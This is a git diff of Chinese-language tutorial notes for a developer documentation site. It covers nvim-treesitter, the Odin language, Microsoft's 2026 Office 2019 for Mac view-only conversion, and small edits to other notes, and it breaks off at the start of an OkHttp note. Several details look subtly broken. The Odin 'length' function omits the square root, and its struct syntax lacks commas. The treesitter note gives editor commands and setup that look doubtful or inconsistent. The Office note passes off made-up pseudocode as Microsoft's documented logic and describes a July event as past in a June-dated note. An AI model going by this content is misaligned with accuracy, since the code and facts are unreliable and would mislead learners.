+1. **先会跑**：`pip install nuitka`，用示例 1 编译一个无第三方依赖的 CLI，确认工具链可用
+2. **读 Compilation Report**：`--report=compilation-report.xml`，弄清哪些模块被拉进、哪些被优化掉
+3. **加一个真实依赖**：例如 `requests` 或 `numpy`，体验 `--include-package-data` 与 `--enable-plugin`
+4. **对照 CPython 笔记**：理解「没有字节码」与 C API 边界后，再读官方 [User Manual](https://nuitka.net/user-documentation/user-manual.html) 的 Data Files、Plugins 章节
+5. **CI 集成**：生产环境可用 [Nuitka-Action](https://github.com/Nuitka/Nuitka-Action) 矩阵构建多平台产物
+
+## 延伸阅读
+
+- 官方站点与手册：[nuitka.net](https://nuitka.net/) · [User Manual](https://nuitka.net/user-documentation/user-manual.html)
+- 源码入口：`MainControl.py`（主编排）、`nuitka/tree/Building.py`（AST → 节点树）、`nuitka/optimizations/Optimization.py`（优化循环）
+- 论文视角：*An Empirical Study on the Performance and Energy Usage of Compiled Python Code*（arXiv:2505.02346）将 Nuitka 与 PyPy、Numba 等一并比较
+- 本库相关笔记：[CPython](./cpython.md)（解释器与字节码）、[PyPy](./pypy.md)（JIT 路线）
diff --git a/src/content/docs/projects/nushell.md b/src/content/docs/projects/nushell.md
index 156c8a4a8..c67258c51 100644
--- a/src/content/docs/projects/nushell.md
+++ b/src/content/docs/projects/nushell.md
@@ -2,8 +2,8 @@
 title: nushell — 让命令之间传 Excel 表而不是传纸条
 来源: https://github.com/nushell/nushell
 日期: 2026-05-31
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/nvim-treesitter.md b/src/content/docs/projects/nvim-treesitter.md
new file mode 100644
index 000000000..8b37f6155
--- /dev/null
+++ b/src/content/docs/projects/nvim-treesitter.md
@@ -0,0 +1,262 @@
+---
+title: nvim-treesitter 零基础学习笔记
+来源: https://github.com/nvim-treesitter/nvim-treesitter
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+# nvim-treesitter 零基础学习笔记
+
+## 从日常类比开始：把代码当成「有结构」的文章
+
+你读一段文章的时候，不会把每个字同等看待。你会自动识别出「这是主语」「这是谓语」「这是一个从句」。你的大脑其实在对文字做「语法分析」。
+
+代码也是一样的。一段 Python 代码里，`def` 后面跟着的是函数名，括号里是参数，冒号后面是缩进的代码块。人类一眼就能看出来，但计算机默认只看到一堆字符，它不知道哪个是变量、哪个是函数定义。
+
+**nvim-treesitter 做的事情就是：帮 Neovim 理解代码的语法结构。** 它用一个叫 Tree-sitter 的工具，把源代码转换成一棵「语法树」（Syntax Tree），树上的每个节点代表一个语法成分——函数声明、变量、循环、表达式……
+
+这就好比给代码做了个 X 光扫描，每一层结构都清晰可见。
+
+## 核心概念一：语法树（Syntax Tree）
+
+程序代码本身是一串字符。比如这段 Python：
+
+```python
+def greet(name):
+    print("Hello, " + name)
+```
+
+nvim-treesitter 会用 Tree-sitter 解析器把这串字符变成一棵树。树的根节点是整个文件，往下分出函数声明节点，再往下分出参数节点、字符串字面量节点等等。
+
+用伪文本表示，大概长这样：
+
+```
+source_file
+├── function_definition
+│   ├── name: identifier (greet)
+│   ├── parameters
+│   │   └── identifier (name)
+│   └── body
+│       └── expression_statement
+│           └── call
+│               ├── function: identifier (print)
+│               └── arguments
+│                   └── string (Hello, )
+```
+
+这棵树就是所有高级编辑功能的基础。有了它，编辑器就能回答「这个变量在哪里被使用了」「这个函数的参数有哪些」「这段代码的边界在哪里」之类的问题。
+
+**Tree-sitter 和传统解析器的区别**：传统解析器（比如 C 编译器的解析器）一旦遇到一个语法错误就会停下来报错。Tree-sitter 是「容错」的——即使代码有错误，它也会尽最大努力解析出尽可能多的结构。这对编辑器非常有用，因为你在写代码的时候代码经常是不完整的。
+
+## 核心概念二：Query（查询语言）
+
+有了语法树之后，怎么告诉编辑器「我想把函数名高亮成蓝色」呢？这就需要 **Query**——nvim-treesitter 自带的一种类似正则表达式的查询语言。
+
+Query 的写法很像树的结构，用括号和下划线来匹配语法树中的节点。
+
+### 代码示例一：语法树可视化
+
+你可以用 nvim-treesitter 自带的命令把当前文件的语法树「画」出来，直观地看代码被解析成了什么样子：
+
+```bash
+:TSViewCursor
+```
+
+执行后会在当前窗口打开一个新 buffer，显示光标所在位置对应的语法树结构。
+
+如果你在 Neovim 里写下面这段 Python 代码，然后把光标放在 `greet` 上执行 `:TSViewCursor`，会看到类似这样的输出：
+
+```
+(source_file
+  (function_definition
+    name: (identifier) @function
+    parameters: (parameters
+      (identifier) @parameter)
+    body: (block
+      (expression_statement
+        (call
+          function: (identifier) @function.call
+          arguments: (arguments
+            (string) @string)))))
+```
+
+注意那些 `@function`、`@parameter`、`@string`——这叫**捕获标签（capture labels）**。Query 就是用这些标签来告诉 Neovim「这个位置的节点应该用什么样式来高亮」。
+
+### 代码示例二：自定义高亮 Query
+
+nvim-treesitter 的高亮规则存储在 `queries/<语言>/highlights.scm` 文件中。这是一个 Lua 文件的示例 Query，用来把 `self` 关键字高亮成特殊颜色：
+
+```scheme
+; 匹配函数定义中的 self 参数，高亮为 @parameter.builtin
+(parameter
+  name: (identifier) @parameter.builtin
+  (#eq? @parameter.builtin "self"))
+```
+
+再比如，把 Python 里的 `# TODO` 注释高亮成黄色，方便你追踪待办事项：
+
+```scheme
+; 匹配注释中的 TODO
+(comment) @text.todo
+```
+
+这些 `.scm` 文件就是 Tree-sitter Query 文件，用一种类似 Lisp 的 S 表达式语法来描述「我想从语法树中找到什么」。
+
+### Query 语法速查
+
+| 符号 | 含义 |
+|------|------|
+| `(identifier)` | 匹配一个 identifier 节点 |
+| `(identifier) @label` | 匹配并给这个节点一个标签 |
+| `((identifier) @foo (#eq? @foo "self"))` | 匹配值为 "self" 的 identifier |
+| `(call function: (identifier) @func.name)` | 匹配 call 节点的 function 子节点 |
+| `((comment) @comment (#match? @comment "TODO"))` | 匹配包含 TODO 的注释 |
+
+## 核心概念三：Parser（解析器）
+
+每种编程语言都需要一个对应的 Tree-sitter 解析器。nvim-treesitter 帮你自动安装和管理这些解析器。
+
+安装命令：
+
+```
+:TSInstall python
+:TSInstall javascript
+:TSInstall typescript
+```
+
+一次性安装多个：
+
+```
+:TSInstall python javascript typescript lua go rust
+```
+
+更新所有已安装的解析器：
+
+```
+:TSUpdate
+```
+
+查看已安装和可安装的解析器列表：
+
+```
+:TSInstallInfo
+```
+
+解析器存储在 Neovim 的数据目录中，通常位于 `~/.local/share/nvim/site/` 下。
+
+## nvim-treesitter 提供的核心功能
+
+### 1. 语法高亮（Highlighting）
+
+这是最直观的功能。传统的正则表达式高亮只能做粗略匹配（比如匹配 `def ` 关键词），而 Tree-sitter 高亮是真正理解代码结构的。它能区分同一个单词在不同上下文中的不同身份——变量名、函数名、关键字、字符串字面量，各自有不同的颜色。
+
+开启方式（在配置中）：
+
+```lua
+vim.api.nvim_create_autocmd('FileType', {
+  pattern = { 'python', 'javascript', 'lua' },
+  callback = function() vim.treesitter.start() end,
+})
+```
+
+### 2. 代码折叠（Folds）
+
+基于语法树，编辑器可以智能地折叠代码块。比如折叠整个函数体、折叠整个 if 块、折叠导入语句块。
+
+```lua
+vim.wo.foldexpr = 'v:lua.vim.treesitter.foldexpr()'
+vim.wo.foldmethod = 'expr'
+```
+
+### 3. 自动缩进（Indentation）
+
+Tree-sitter 知道哪段代码属于哪个代码块，所以能提供更准确的自动缩进。
+
+```lua
+vim.bo.indentexpr = "v:lua.require'nvim-treesitter'.indentexpr()"
+```
+
+### 4. 多语言注入（Injections）
+
+如果你在 HTML 文件里写了一段 JavaScript，Tree-sitter 能自动识别并给 JavaScript 部分也提供语法高亮和结构理解。这叫做「语言注入」。
+
+```
+<!-- HTML 中的 JavaScript 也会被正确高亮 -->
+<script>
+  const x = 1;  -- 这里也有 treesitter 高亮
+</script>
+```
+
+## 安装与配置
+
+### 前提条件
+
+- Neovim 0.12.0 或更高版本
+- `tree-sitter-cli`（通过包管理器安装，**不要用 npm**）
+- C 编译器
+
+### 推荐配置（使用 lazy.nvim）
+
+```lua
+{
+  'nvim-treesitter/nvim-treesitter',
+  lazy = false,
+  build = ':TSUpdate',
+  config = function()
+    require('nvim-treesitter.configs').setup({
+      ensure_installed = { 'python', 'javascript', 'typescript', 'lua', 'go' },
+      highlight = { enable = true },
+      indent = { enable = true },
+      auto_install = true,
+    })
+  end,
+}
+```
+
+### 常用命令速查
+
+| 命令 | 说明 |
+|------|------|
+| `:TSInstall python` | 安装 Python 解析器 |
+| `:TSInstallFromGrammar python` | 从 grammar 安装（未提供的语言） |
+| `:TSUpdate` | 更新所有已安装的解析器 |
+| `:TSUpdateSync` | 同步更新（等待完成） |
+| `:TSUninstall python` | 卸载 Python 解析器 |
+| `:TSToggle` | 开关语法高亮 |
+| `:TSBufToggle` | 开关当前 buffer 的高亮 |
+| `:TSBufDisable` | 禁用当前 buffer 的所有 treesitter 功能 |
+| `:TSInstallInfo` | 查看已安装和可安装的解析器 |
+| `:TSContext` | 显示光标所在语法上下文的信息 |
+| `:TSHighlightInfo` | 查看当前语法树节点的高亮信息 |
+
+## 为什么它比传统正则高亮好？
+
+对比一下两者的区别：
+
+**正则表达式高亮**（传统方法）的规则：
+```
+match = "def\\s+\\w+"    -- 匹配 def 加空格加一个词
+```
+
+它的问题是：`def` 出现在字符串 `print("def")` 中也会被匹配。
+
+**Tree-sitter 高亮**的规则：
+```scheme
+(function_definition name: (identifier) @function)
+```
+
+它只匹配真正在语法树中的函数定义节点。如果 `def` 出现在字符串里，它会是一个 `string` 节点，不会被匹配。
+
+这就是「理解结构」和「看到文本」的根本区别。
+
+## 总结
+
+nvim-treesitter 的本质是三件事：
+
+1. **解析**：用 Tree-sitter 把代码变成语法树
+2. **查询**：用 `.scm` Query 语言从树中提取有意义的信息
+3. **映射**：把提取到的信息映射到编辑器功能（高亮、折叠、缩进等）
+
+理解了这三步，你就理解了 nvim-treesitter 的全部工作原理。
diff --git a/src/content/docs/projects/nvm.md b/src/content/docs/projects/nvm.md
index 5e261c728..3695d1b26 100644
--- a/src/content/docs/projects/nvm.md
+++ b/src/content/docs/projects/nvm.md
@@ -151,6 +151,7 @@ nvm exec 16 npm test     # 当前 shell 不切，用 16 跑一次 test
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
+- [[fvm]] —— FVM — 按项目锁定 Flutter SDK 版本
 - [[mach-vm-1987]] —— Mach VM — 把虚拟内存抽象成"对象"，与硬件解耦
 - [[openrct2]] —— OpenRCT2 — 把一款 x86 汇编游戏彻底用 C++ 重写
 - [[persistent-memory-2014]] —— PMFS — 第一个为字节寻址持久内存设计的文件系统
diff --git a/src/content/docs/projects/observable-plot.md b/src/content/docs/projects/observable-plot.md
index dd2dbb5fe..a306ddf25 100644
--- a/src/content/docs/projects/observable-plot.md
+++ b/src/content/docs/projects/observable-plot.md
@@ -168,9 +168,11 @@ Plot.plot({
 - [[chart-js]] —— Chart.js — Canvas 渲染入门级图表
 - [[chartist]] —— Chartist — 极简 SVG 图表
 - [[d3]] —— D3.js — 不是图表库，是写图表库的乐高
+- [[deck-gl]] —— deck.gl — Uber 大规模数据可视化
 - [[dnd-kit]] —— dnd-kit — React 现代拖拽 toolkit
 - [[echarts]] —— Apache ECharts — 给一个 JSON 就能画图的可视化库
 - [[gsap]] —— GSAP — GreenSock 高性能动画
+- [[luma-gl]] —— luma.gl — vis.gl WebGL2/WebGPU 抽象
 - [[matplotlib]] —— matplotlib — Python 绘图基石
 - [[observable-framework]] —— Observable Framework — 编译期跑数据，浏览器只看结果
 - [[react-hook-form]] —— react-hook-form — input 不进 React state 也能写表单
diff --git a/src/content/docs/projects/odin.md b/src/content/docs/projects/odin.md
new file mode 100644
index 000000000..b65677ead
--- /dev/null
+++ b/src/content/docs/projects/odin.md
@@ -0,0 +1,320 @@
+---
+title: Odin — Pascal 风系统语言
+来源: https://github.com/odin-lang/Odin
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Odin — Pascal 风系统语言
+
+## 一句话概括
+
+Odin 是一个注重**显式**和**数据导向**的系统级编程语言，语法有 Pascal 的影子（冒号定义类型、双冒号声明常量/函数、花括号块），目标是给 C/C++ 一个更干净的选择。
+
+> 项目地址：https://github.com/odin-lang/Odin （Star 10k+，2016 年开仓）
+
+---
+
+## 从日常类比开始
+
+想象你要组装一个乐高模型。
+
+- **C 语言**就像给你一堆散落的积木块——你可以拼出任何东西，但也可能拼歪了没人提醒你。
+- **Odin** 像是一套带说明书的乐高：每块积木有明确的位置（类型），说明书（编译器）会告诉你"这块放不下，你拿错了"。它不阻止你造东西，但会把模糊地带清掉。
+
+Odin 的设计哲学可以浓缩成四个字：**明确胜过聪明**。它不希望你写"看起来聪明但看不懂"的代码。
+
+---
+
+## 核心概念
+
+### 1. 类型声明：`:` 而非 `=`
+
+在大多数语言中，变量赋值用 `=`。Odin 用 `:=`（其实是 `:` + `=` 两个 token）来声明并赋值，用 `=` 做纯赋值：
+
+```odin
+x: int = 10       // 声明 x 为 int 类型，赋值为 10
+x = 20             // 把 x 改成 20（不能改类型）
+y := 30            // 简写：声明并赋值，类型自动推导
+```
+
+### 2. 常量与过程：`::`
+
+双冒号 `::` 用于定义**不会改变**的东西——常量、类型、过程（Odin 对"函数"的叫法）：
+
+```odin
+PI :: 3.14159          // 常量
+max_length :: 100      // 常量
+
+main :: proc() { ... } // 过程/函数
+```
+
+### 3. 过程（Proc）
+
+Odin 的函数叫 `proc`，用 `:: proc()` 定义，参数和返回值类型用冒号声明：
+
+```odin
+add :: proc(a, b: int) -> int {
+    return a + b
+}
+```
+
+注意 `a, b: int` 的写法——多个参数共享类型时，可以省略中间的类型，简洁很多。
+
+### 4. 包系统
+
+Odin 以**目录**为单位组织代码，每个目录是一个 `package`。程序从 `package main` 的 `main` 过程开始执行：
+
+```odin
+package main
+
+import "core:fmt"
+
+main :: proc() {
+    fmt.println("Hellope!")
+}
+```
+
+`core:fmt` 中的 `core:` 前缀告诉编译器去标准库找。没有前缀的话，编译器会从相对目录找。
+
+### 5. 枚举（Enum）
+
+Odin 的枚举是**强类型**的，不能和整数混用：
+
+```odin
+Color :: enum {
+    Red,
+    Green,
+    Blue,
+}
+
+c := Color.Red
+```
+
+### 6. 结构体（Struct）
+
+结构体字段默认**公开**，用 `@(private)` 标记私有：
+
+```odin
+Person :: struct {
+    name    : string
+    age     : int
+    @(private)
+    secret  : int
+}
+```
+
+### 7. 唯一循环：`for`
+
+Odin 只有 `for` 一种循环，但用法多样：
+
+```odin
+// 经典 for
+for i := 0; i < 10; i += 1 {
+    fmt.println(i)
+}
+
+// 范围迭代
+for i in 0..=9 {        // 闭区间 [0, 9]
+    fmt.println(i)
+}
+
+for i in 0..<10 {        // 半开区间 [0, 10)
+    fmt.println(i)
+}
+
+// 无限循环
+for {
+    // 永远执行
+}
+```
+
+### 8. Switch — 不需要 break
+
+Odin 的 `switch` 选中一个 case 后就自动退出，不需要 `break`。用 `fallthrough` 显式跳到下一个 case：
+
+```odin
+switch day {
+case 1, 2, 3:
+    fmt.println("工作日")
+case 4, 5:
+    fmt.println("快周末了")
+case 6, 7:
+    fmt.println("休息日")
+case:
+    fmt.println("无效的天数")
+}
+```
+
+### 9. Defer — 延迟执行
+
+`defer` 在作用域结束时执行，类似 Go：
+
+```odin
+main :: proc() {
+    file := open_file("data.txt")
+    defer close_file(file)    // 函数返回时自动关闭
+
+    // ... 使用 file ...
+
+    return   // defer 在这里自动触发
+}
+```
+
+### 10. 强类型 + 无隐式转换
+
+Odin 要求类型转换必须显式写出，不做隐式转换：
+
+```odin
+x: int = 42
+y: f64 = f64(x)    // 必须显式转换，不能 y = x
+z: u32 = u32(y)    // 同上
+```
+
+---
+
+## 代码示例
+
+### 示例一：FizzBuzz（涵盖循环、switch、字符串）
+
+```odin
+package main
+
+import "core:fmt"
+
+main :: proc() {
+    for i := 1; i <= 100; i += 1 {
+        switch {
+        case i % 15 == 0:
+            fmt.println("FizzBuzz")
+        case i % 3 == 0:
+            fmt.println("Fizz")
+        case i % 5 == 0:
+            fmt.println("Buzz")
+        case:
+            fmt.println(i)
+        }
+    }
+}
+```
+
+**解读**：这里 `switch` 后面没有条件，等价于 `switch true`。case 里写的是布尔表达式，从上到下匹配，第一个命中就执行并自动退出——不需要 break。
+
+### 示例二：数据结构 + 过程 + 结构体（涵盖 struct、proc、数组、范围迭代）
+
+```odin
+package main
+
+import "core:fmt"
+
+// 定义一个向量类型
+Vector3 :: struct {
+    x, y, z: f32
+}
+
+// 向量加法
+add_vec :: proc(a, b: Vector3) -> Vector3 {
+    return Vector3{
+        x: a.x + b.x,
+        y: a.y + b.y,
+        z: a.z + b.z,
+    }
+}
+
+// 向量长度
+vec_length :: proc(v: Vector3) -> f32 {
+    return f32(v.x*v.x + v.y*v.y + v.z*v.z)
+}
+
+main :: proc() {
+    a := Vector3{x: 1.0, y: 2.0, z: 3.0}
+    b := Vector3{x: 4.0, y: 5.0, z: 6.0}
+
+    c := add_vec(a, b)
+    fmt.println("a + b = {", c.x, ", ", c.y, ", ", c.z, "}")
+    fmt.println("length of c = ", vec_length(c))
+}
+```
+
+**解读**：
+- `Vector3` 是一个结构体类型，有三个 f32（32位浮点数）字段
+- `add_vec` 过程接收两个向量，返回它们的和
+- `vec_length` 计算向量的模长
+- 结构体字面量用 `Vector3{x: 1.0, y: 2.0, z: 3.0}` 语法创建
+
+### 示例三：枚举 + 字符串映射 + 范围迭代
+
+```odin
+package main
+
+import "core:fmt"
+
+Day :: enum {
+    Mon, Tue, Wed, Thu, Fri, Sat, Sun,
+}
+
+day_to_string :: proc(d: Day) -> string {
+    switch d {
+    case .Mon: return "星期一"
+    case .Tue: return "星期二"
+    case .Wed: return "星期三"
+    case .Thu: return "星期四"
+    case .Fri: return "星期五"
+    case .Sat: return "星期六"
+    case .Sun: return "星期日"
+    case:      return "未知"
+    }
+}
+
+main :: proc() {
+    days := [7]Day{.Mon, .Tue, .Wed, .Thu, .Fri, .Sat, .Sun}
+
+    for i in 0..=6 {
+        fmt.println(days[i], " = ", day_to_string(days[i]))
+    }
+}
+```
+
+---
+
+## Odin 与其他语言对比
+
+| 特性 | C | Go | Rust | Odin |
+|------|---|-----|------|------|
+| 类型系统 | 弱（隐式转换） | 静态 | 静态（借用检查） | 静态（显式转换） |
+| 垃圾回收 | 无 | 有 | 无 | 无 |
+| 函数关键字 | 无 | `func` | `fn` | `proc` |
+| 常量声明 | `#define` | `const` | `const` | `::` |
+| Switch | 需要 break | 自动退出 | 模式匹配 | 自动退出 |
+| 包系统 | 文件级 | 目录级 |  Crate | 目录级 |
+| 内存管理 | 手动 | GC | 借用系统 | 手动 + defer |
+
+---
+
+## 为什么学 Odin
+
+1. **学习系统编程的更好入口**：没有 Rust 的借用检查器那么陡峭，但比 C 安全得多
+2. **语法直观**：`::` 和 `:` 的区分让"可变 vs 不变"一目了然
+3. **数据导向设计**：内置支持数组编程、结构体之数组（SoA），适合游戏引擎和高性能场景
+4. **编译快**：相比 C++ 的分钟级编译，Odin 编译几乎是秒级的
+5. **社区活跃**：Discord 活跃，2024-2026 年持续发布高质量版本
+
+---
+
+## 进一步学习
+
+- 官方文档：https://odin-lang.org/docs/overview
+- 在线示例：https://github.com/odin-lang/examples
+- 包文档：https://pkg.odin-lang.org/
+- Discord 社区：https://discord.gg/sVBPHEv
+- 编译安装：https://odin-lang.org/docs/install
+
+运行代码的方式很简单：
+
+```bash
+odin run .          # 编译并运行当前目录
+odin build .        # 只编译，不运行
+odin run hello.odin -file   # 运行单个文件
+```
diff --git a/src/content/docs/projects/office-view-only-mac.md b/src/content/docs/projects/office-view-only-mac.md
new file mode 100644
index 000000000..a532deb9b
--- /dev/null
+++ b/src/content/docs/projects/office-view-only-mac.md
@@ -0,0 +1,239 @@
+---
+title: Microsoft Office 2019/2021 for Mac view-only conversion (consumer rights)
+来源: https://consumerrights.wiki/w/Microsoft_Office_2019_and_2021_for_Mac_view-only_conversion_(2026)
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+# Microsoft Office 2019/2021 for Mac 只读转换事件（2026）
+
+## 一句话总结
+
+Microsoft 在 2026 年 7 月 13 日通过一个过期的数字证书，让已经"永久购买"的 Office 2019 for Mac 变成只能看不能改的"残废版"。消费者花了一辈子买的东西，被远程锁了功能。
+
+## 日常类比：你买了一台电视，厂家说"保修期到了"就远程锁屏
+
+想象一下，你在店里花 150 美元买了一台电视机。卖家告诉你："这台电视你永远能用，不需要任何订阅。" 你用了好几年，突然有一天电视自己弹出一个窗口："您的许可证已过期，现在只能看不能调频道、不能换输入源。"
+
+你问："我明明买断的，为什么不能用了？" 对方回答："嗯……我们之前说的'继续能用'，指的是你能看到画面而已。"
+
+这就是 Office 2019 for Mac 用户在 2026 年 7 月 13 日之后遭遇的事情。
+
+## 核心概念
+
+### 1. 永久许可（Perpetual License）vs 订阅制（Subscription）
+
+软件有两种卖法：
+
+- **订阅制**（如 Microsoft 365）：按月/年付费，不续费就不能用。像租房子。
+- **永久许可**（如 Office 2019/2021）：一次性付费，理论上买到手就是你的。像买房子。
+
+Office 2019 for Mac 就是永久许可产品。2018 年发布时，微软自己的广告页写着：
+
+> "One-time purchase for 1 PC or Mac" — $149.99
+
+翻译：花 149 美元，买一台电脑或 Mac 的使用权，一次搞定，没有订阅。
+
+### 2. 数字证书（Digital Certificate）
+
+数字证书就像软件的"身份证"。Office 安装包里内置了一张证书，用来证明"你是正版用户"。证书有一个有效期，到期后会过期。
+
+正常情况下，软件厂商会在证书到期前发一个新版本，把新证书塞进去。老用户升级后，新证书生效，一切正常。
+
+但问题来了——如果某个产品**不会再有更新**了呢？
+
+### 3. 降低功能模式（Reduced Functionality Mode）
+
+这是微软给 Office 2019 for Mac 准备的后门。证书过期后，软件不会崩溃，也不会消失，而是进入一个"半残废"状态：
+
+- 能打开文件
+- 能查看内容
+- **不能编辑**
+- **不能保存**
+- **不能使用完整功能**
+
+简单说：你的 Word 变成了 Word Viewer，你的 Excel 变成了 Excel Viewer。
+
+## 时间线：从承诺到反悔
+
+| 时间 | 发生了什么 |
+|------|-----------|
+| 2018-09-24 | Office 2019 for Mac 发布。微软说："这是一次性购买，不会有后续功能更新。" |
+| 2023-04-12 | 微软发布 Office 2019 for Mac 的"结束支持"页面，原话是："Your Office 2019 apps will **continue to function**"（你的应用会继续正常运行） |
+| 2023-10-10 | Office 2019 for Mac 正式结束支持 |
+| 2026-05-15 | 微软悄悄改掉了那个页面，把 "continue to function" 这句话删了 |
+| 2026-05 中旬 | 微软开始给受影响用户发邮件，通知 7 月 13 日将发生转换 |
+| 2026-05-16 | PiunikaWeb 最早报道此事，称用户反应" largely negative "（非常负面） |
+| 2026-06-04 | Consumer Rights Wiki 收录此事件 |
+| **2026-07-13** | 证书过期，Office 2019 for Mac 正式进入只读模式 |
+
+## 关键代码示例
+
+### 示例 1：检查你的 Office 版本是否受影响
+
+打开终端，运行以下命令查看你安装的 Office 版本：
+
+```bash
+# 检查 Office 2019 的版本号
+/usr/libexec/PlistBuddy -c "Print :CFBundleShortVersionString" \
+  "/Applications/Microsoft Word.app/Contents/Info.plist" 2>/dev/null
+
+# 如果输出类似 "16.xx"，你需要确认版本号是否低于 16.83
+# 只有 >= 16.83 的版本才不会受影响
+```
+
+解释：
+
+- `/usr/libexec/PlistBuddy` 是 macOS 自带的工具，用来读取 `.plist` 配置文件
+- Office 的 `.app` 文件里面有一个 `Info.plist`，记录了版本号
+- Office 2019 **永远不会有** 16.83 这个版本——因为它已经被终止更新了
+- 所以只要你是 Office 2019 for Mac，你就在受影响名单里
+
+### 示例 2：模拟证书过期后的状态检测
+
+下面是微软官方文档中描述的逻辑伪代码，解释了证书过期机制如何工作：
+
+```
+// 这是微软管理员文档中的简化版逻辑
+// 实际实现更复杂，但核心逻辑如下
+
+function checkLicense(appVersion, certificateExpiryDate, currentDate) {
+    // 步骤 1: 检查应用是否已更新到最低安全版本
+    const minimumRequiredVersion = "16.83";
+    
+    if (appVersion >= minimumRequiredVersion) {
+        // 新版本自带新证书，正常运作
+        return { status: "normal", mode: "full-functionality" };
+    }
+    
+    // 步骤 2: 检查证书是否过期
+    if (currentDate > certificateExpiryDate) {
+        // 旧版本 + 证书过期 = 只读模式
+        return { 
+            status: "degraded", 
+            mode: "reduced-functionality",
+            canOpen: true,
+            canEdit: false,
+            canSave: false,
+            message: "Files can be opened and viewed but cannot be edited, saved, or accessed with full features."
+        };
+    }
+    
+    // 步骤 3: 证书尚未过期，暂时正常
+    return { status: "normal", mode: "full-functionality" };
+}
+
+// 实际调用场景
+const office2019Version = "16.78";  // Office 2019 的最高版本
+const certExpiry = new Date("2026-07-13");
+const today = new Date("2026-07-14");  // 过期后的一天
+
+const result = checkLicense(office2019Version, certExpiry, today);
+// 结果: { status: "degraded", mode: "reduced-functionality", ... }
+```
+
+对比一下 Office 2021 的情况：
+
+```
+// Office 2021 仍然在支持期内，可以收到更新
+// 用户可以升级到 16.83+，避开这个问题
+
+Office 2019: 版本上限 ≈ 16.78 ❌ 永远无法达到 16.83
+Office 2021: 仍接收更新，可升级至 16.83+ ✅ 完全不受影响
+Microsoft 365: 持续更新 ✅ 完全不受影响
+
+// 微软官方的说法：
+// "Apps on older versions enter reduced functionality mode 
+//  after the certificate expires."
+// "This issue cannot be resolved by updating or reinstalling 
+//  Office 2019 for Mac."
+```
+
+注意最后一句："**无法通过更新或重新安装 Office 2019 for Mac 来解决。**" 也就是说，即使你卸载重装，也没用。因为问题不在你的电脑上，在于微软故意不给你新证书。
+
+## 消费者面临的选项
+
+微软给了三条路：
+
+1. **继续只用只读模式**——能看不能改
+2. **改用免费的 Microsoft 365 网页版**——功能有限，需要联网
+3. **花钱**——订阅 Microsoft 365 或购买新的 Office Home 2024（又是一笔钱）
+
+有趣的是，微软发邮件的时候还附带了一个"免费试用"链接，但试用结束后会自动转成付费订阅，而且需要你提供付款方式。这被广泛认为是典型的"暗黑模式"（Dark Pattern）设计。
+
+## 争议焦点
+
+### 微软修改了之前的承诺
+
+2023 年，微软的官方页面写着：
+
+> "Rest assured that all your Office 2019 apps will **continue to function**—they won't disappear from your Mac, nor will you lose any data."
+
+2026 年 5 月，同样的页面变成了：
+
+> "Rest assured that all your Office 2019 apps won't lose any data."
+
+"continue to function" 这句话被删了。数据安全的承诺保留了，但"继续正常工作"的承诺消失了。
+
+旧金山的 IT 咨询公司 JimmyTech 指出：
+
+> "证书是可以续期的。微软选择用这个过期日期作为淘汰旧版 Office 的截止日期，而不是悄悄地续期，这是一个**主动的选择**。"
+
+### 消费者组织的定性
+
+AppleInsider 的记者 Amber Neely 写道：
+
+> "Microsoft will be **effectively bricking** the standalone Office 2019 for Mac, iPad, and iPhone users on July 13, 2026."
+
+"Bricking" 是科技圈的词，意思是把一个还能用的设备变成砖头——虽然硬件没坏，但功能被远程锁死了。
+
+### 受影响的产品范围
+
+| 平台 | 是否受影响 |
+|------|----------|
+| Office 2019 for Mac | **是**，无法修复 |
+| Office 2019 for iOS (iPad/iPhone) | **是**，需要升级至 2.93+ |
+| Office 2021 for Mac | **否**，仍可更新至 16.83+ |
+| Office for Windows | **否** |
+| Office for Android | **否** |
+| Microsoft 365 for Mac | **否**，持续更新 |
+
+注意：Office 2021 for Mac 要到 2026 年 10 月 13 日才结束支持，在此之前它仍然能收到包含新证书的更新。
+
+## 如果你正在使用 Office 2019 for Mac，该怎么办
+
+以下是实际可行的应对方案：
+
+```
+方案 A：迁移到免费替代品（推荐）
+├── LibreOffice（开源，功能全面）
+├── OnlyOffice（界面接近 MS Office）
+└── Apple Pages/Numbers/Keynote（macOS 自带，免费）
+
+方案 B：升级到 Office 2024
+└── 一次性购买，约 $150（跟当年买 2019 差不多）
+
+方案 C：订阅 Microsoft 365
+└── 按月/年付费，持续获得更新
+
+方案 D：过渡期临时使用网页版
+└── app.office.com 免费使用基础功能
+```
+
+## 这件事为什么重要
+
+这件事触及了一个根本问题：**你买的软件，到底归谁？**
+
+如果花钱买断的软件可以被厂商远程降级，那"买断"这个词还有什么意义？你买的究竟是软件本身，还是一个随时可能被收回的"使用权"？
+
+这不只是 Office 的问题。随着软件越来越依赖在线验证、数字证书和远程授权，"永久许可"正在变成一个营销词汇，而不是法律承诺。
+
+## 延伸阅读
+
+- [Consumer Rights Wiki - 原文](https://consumerrights.wiki/w/Microsoft_Office_2019_and_2021_for_Mac_view-only_conversion_(2026))
+- [PiunikaWeb 报道 (2026-05-16)](https://piunikaweb.com)
+- [AppleInsider 报道 (2026-05-28)](https://appleinsider.com)
+- [JimmyTech 分析](https://jimmytech.com)
+- [Microsoft Lifecycle Policy - Office 2021](https://learn.microsoft.com)
diff --git a/src/content/docs/projects/okhttp.md b/src/content/docs/projects/okhttp.md
new file mode 100644
index 000000000..d53d4a7e7
--- /dev/null
+++ b/src/content/docs/projects/okhttp.md
@@ -0,0 +1,334 @@
+---
+title: OkHttp — JVM/Android 上的高效 HTTP 客户端
+来源: https://github.com/square/okhttp
+日期: 2026-06-13
+分类: 后端 API
+子分类: 移动端
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**OkHttp** 是 Square 出品的 HTTP 客户端，面向 **Android、Java、Kotlin 和 GraalVM**。它不负责把 JSON 自动变成对象（那是 [[retrofit]] 和 Converter 的事），而是专注做好一件事：**可靠、高效地把 HTTP 请求发出去，把响应字节流拿回来**。
+
+日常类比：
+
+- 浏览器里的「地址栏 + 网络栈」：你输入 URL，底层帮你 DNS 解析、建 TCP、TLS 握手、发请求、收响应、处理重定向和压缩。
